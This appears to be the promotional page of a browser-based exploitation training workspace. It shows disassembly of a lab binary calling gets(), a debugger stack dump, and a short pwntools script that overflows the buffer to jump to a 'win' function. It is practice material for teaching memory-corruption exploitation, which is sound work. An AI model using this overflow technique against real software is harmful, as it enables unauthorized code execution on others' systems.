01/reverse · debug · own

Crash it.
Read the stack.
Steal EIP.

A full browser workspace: IDA-style disassembly, gdb-compatible debugger, live stack memory, and real from pwn import * — no VM, no install.

Lessons

checkpoints

IDA View

graph + text

wdb

si · break

Python

pwntools

overflow-lab · ./ret2win · wdb

EIP owned

IDA · pwnmegraph

08049190pushebp

08049191movebp, esp

08049193subesp, 0x10

08049196leaeax, [ebp-0x8]

0804919acallgets@plt

0804919faddesp, 0x4

080491a2leave

→080491a3ret

wdb> x/4xw $esp

0xffffd0c0: 0x41414141 0x41414141

0xffffd0c8: 0x080491b2 <win>

stack framesmash

buf

pad

ebp

ret → win

exploit.pyready

from pwn import *
p = process('./ret2win')
payload = b'A'*20 + p32(win)
p.sendline(payload)

ret2win · offset 20 · flag captured

Crash it.Read the stack.Steal EIP.